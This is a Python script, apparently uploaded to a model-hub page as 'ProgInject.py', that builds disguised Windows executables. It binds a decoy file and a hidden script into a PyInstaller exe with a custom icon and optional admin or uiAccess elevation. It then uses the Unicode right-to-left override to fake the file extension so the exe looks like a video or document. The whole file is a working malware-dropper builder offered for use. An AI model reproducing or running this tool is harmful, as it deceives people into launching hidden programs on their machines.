software / ProgInject.py
shethjenil's picture
Upload 2 files
50c7418 verified
raw
history blame
2.41 kB
#‮
from tkinter.filedialog import askopenfilename , askdirectory , asksaveasfilename
from tkinter.simpledialog import askstring
from tkinter.messagebox import showwarning , askyesno
import sys
from PIL import Image
from shutil import copy2 , rmtree , move
from os import remove , getcwd
from subprocess import Popen , PIPE , DEVNULL
if Popen("pyinstaller",stderr=PIPE).communicate()[0]:
if not Popen("python -m pip",stderr=PIPE).communicate()[0]:
Popen("python -m pip install pyinstaller",stderr=DEVNULL,stdout=DEVNULL).communicate()
else:
showwarning("Python is required to run this program")
sys.exit()
def hide_file(openfilename:str, extension:str="mp4",path:str=""):
openfile = openfilename.split("/")[-1].split(".")
newname = path +"/"+ openfile[0] + "\u202E"+extension[::-1]+"." + openfile[1]
copy2(openfilename, newname)
# hide_file(askopenfilename(), askstring("extension", "Enter the extension of the file which you want to modify"),askdirectory(title="SELECT SAVE DIRECTORY"))
folder = askdirectory(title="SELECT FOLDER")
Image.open(askopenfilename(filetypes=[("Image",["*.jpg","*.png","*.jpeg","*.ico"])])).convert("RGBA").save(f"{folder}/icon.ico", format="ICO", sizes=[(72, 72)])
filename = askopenfilename()
copy2(filename,f"{folder}/{filename.split('/')[-1]}")
open(f"{folder}/mainfile.py","a+").write(f'''
from subprocess import Popen
from os import chdir
import sys
from time import sleep
chdir(sys._MEIPASS+r"\data")
Popen("{filename.split("/")[-1]}",shell=True).communicate()
sleep(1)
import main
''')
command = ['pyinstaller', '--noconfirm', '--onefile', '--windowed', '--icon', f'{folder}/icon.ico', '--name', 'software', '--add-data', f'{folder};data/',f'{folder}/mainfile.py']
if askyesno("UAC","Do you want to run this program as administrator?"):
command.insert(1,"--uac-admin")
if askyesno("UAC","Do you want to run this program as Uiaccess?"):
command.insert(1,"--uac-uiaccess")
Popen(command,shell=True,stdout=DEVNULL,stderr=DEVNULL).communicate()
rmtree("build")
remove("software.spec")
remove(f"{folder}/icon.ico")
remove(f"{folder}/mainfile.py")
remove(f"{folder}/{filename.split('/')[-1]}")
move("dist/software.exe","software.exe")
rmtree("dist")
hide_file("software.exe",filename.split('.')[-1],askdirectory(title="SELECT FOLDER FOR SAVE A FILE"))
remove("software.exe")